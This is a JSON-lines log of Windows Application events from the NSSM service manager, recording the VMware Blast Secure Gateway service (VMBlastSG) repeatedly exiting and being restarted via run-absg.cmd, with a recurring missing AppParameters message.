{"@timestamp":1646751138679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159456","159456","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161767}}
{"@timestamp":1646751138696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161768}}
{"@timestamp":1646751138697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161769}}
{"@timestamp":1646751138697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161770}}
{"@timestamp":1646751138698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161771}}
{"@timestamp":1646751267368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161772}}
{"@timestamp":1646751267370,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161773}}
{"@timestamp":1646751267371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158840","0"]}}},"module":"Application","provider":"nssm","sequence":161774}}
{"@timestamp":1646751267372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158840","158840","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161775}}
{"@timestamp":1646751267391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161776}}
{"@timestamp":1646751267392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161777}}
{"@timestamp":1646751267392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161778}}
{"@timestamp":1646751267393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161779}}
{"@timestamp":1646751395900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161780}}
{"@timestamp":1646751395901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161781}}
{"@timestamp":1646751395902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159480","0"]}}},"module":"Application","provider":"nssm","sequence":161782}}
{"@timestamp":1646751395902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159480","159480","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161783}}
{"@timestamp":1646751395921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161784}}
{"@timestamp":1646751395922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161785}}
{"@timestamp":1646751395922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161786}}
{"@timestamp":1646751395923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161787}}
{"@timestamp":1646751524474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161788}}
{"@timestamp":1646751524475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161789}}
{"@timestamp":1646751524476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159044","0"]}}},"module":"Application","provider":"nssm","sequence":161790}}
{"@timestamp":1646751524477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159044","159044","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161791}}
{"@timestamp":1646751524493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161792}}
{"@timestamp":1646751524493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161793}}
{"@timestamp":1646751524494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161794}}
{"@timestamp":1646751524495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161795}}
{"@timestamp":1646751653355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161796}}
{"@timestamp":1646751653356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161797}}
{"@timestamp":1646751653357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159572","0"]}}},"module":"Application","provider":"nssm","sequence":161798}}
{"@timestamp":1646751653357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159572","159572","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161799}}
{"@timestamp":1646751653374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161800}}
{"@timestamp":1646751653374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161801}}
{"@timestamp":1646751653375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161802}}
{"@timestamp":1646751653376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161803}}
{"@timestamp":1646751781857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161804}}
{"@timestamp":1646751781859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161805}}
{"@timestamp":1646751781860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159104","0"]}}},"module":"Application","provider":"nssm","sequence":161806}}
{"@timestamp":1646751781860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159104","159104","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161807}}
{"@timestamp":1646751781879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161808}}
{"@timestamp":1646751781879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161809}}
{"@timestamp":1646751781880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161810}}
{"@timestamp":1646751781880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161811}}
{"@timestamp":1646751910373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161812}}
{"@timestamp":1646751910373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161813}}
{"@timestamp":1646751910374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159576","0"]}}},"module":"Application","provider":"nssm","sequence":161814}}
{"@timestamp":1646751910374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159576","159576","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161815}}
{"@timestamp":1646751910390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161816}}
{"@timestamp":1646751910390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161817}}
{"@timestamp":1646751910391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161818}}
{"@timestamp":1646751910392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161819}}
{"@timestamp":1646752038885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161820}}
{"@timestamp":1646752038885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161821}}
{"@timestamp":1646752038887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159408","0"]}}},"module":"Application","provider":"nssm","sequence":161822}}
{"@timestamp":1646752038887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159408","159408","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161823}}
{"@timestamp":1646752038904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161824}}
{"@timestamp":1646752038904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161825}}
{"@timestamp":1646752038905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161826}}
{"@timestamp":1646752038906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161827}}
{"@timestamp":1646752167397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161828}}
{"@timestamp":1646752167399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161829}}
{"@timestamp":1646752167399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158800","0"]}}},"module":"Application","provider":"nssm","sequence":161830}}
{"@timestamp":1646752167400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158800","158800","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161831}}
{"@timestamp":1646752167416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161832}}
{"@timestamp":1646752167417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161833}}
{"@timestamp":1646752167417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161834}}
{"@timestamp":1646752167419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161835}}
{"@timestamp":1646752295922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161836}}
{"@timestamp":1646752295922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161837}}
{"@timestamp":1646752295924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159112","0"]}}},"module":"Application","provider":"nssm","sequence":161838}}
{"@timestamp":1646752295925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159112","159112","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161839}}
{"@timestamp":1646752295940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161840}}
{"@timestamp":1646752295941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161841}}
{"@timestamp":1646752295942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161842}}
{"@timestamp":1646752295942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161843}}
{"@timestamp":1646752424512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161844}}
{"@timestamp":1646752424523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161845}}
{"@timestamp":1646752424524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158392","0"]}}},"module":"Application","provider":"nssm","sequence":161846}}
{"@timestamp":1646752424525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158392","158392","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161847}}
{"@timestamp":1646752424541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159632","0"]}}},"module":"Application","provider":"nssm","sequence":161848}}
{"@timestamp":1646752424541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159632","158392","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161849}}
{"@timestamp":1646752424557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161850}}
{"@timestamp":1646752424557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161851}}
{"@timestamp":1646752424558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161852}}
{"@timestamp":1646752424559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161853}}
{"@timestamp":1646752553049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161854}}
{"@timestamp":1646752553050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161855}}
{"@timestamp":1646752553051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158996","0"]}}},"module":"Application","provider":"nssm","sequence":161856}}
{"@timestamp":1646752553052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158996","158996","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161857}}
{"@timestamp":1646752553068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161858}}
{"@timestamp":1646752553069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161859}}
{"@timestamp":1646752553069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161860}}
{"@timestamp":1646752553070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161861}}
{"@timestamp":1646752681558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161862}}
{"@timestamp":1646752681559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161863}}
{"@timestamp":1646752681559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158764","0"]}}},"module":"Application","provider":"nssm","sequence":161864}}
{"@timestamp":1646752681560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158764","158764","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161865}}
{"@timestamp":1646752681575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161866}}
{"@timestamp":1646752681576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161867}}
{"@timestamp":1646752681576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161868}}
{"@timestamp":1646752681577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161869}}
{"@timestamp":1646752810400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161870}}
{"@timestamp":1646752810402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161871}}
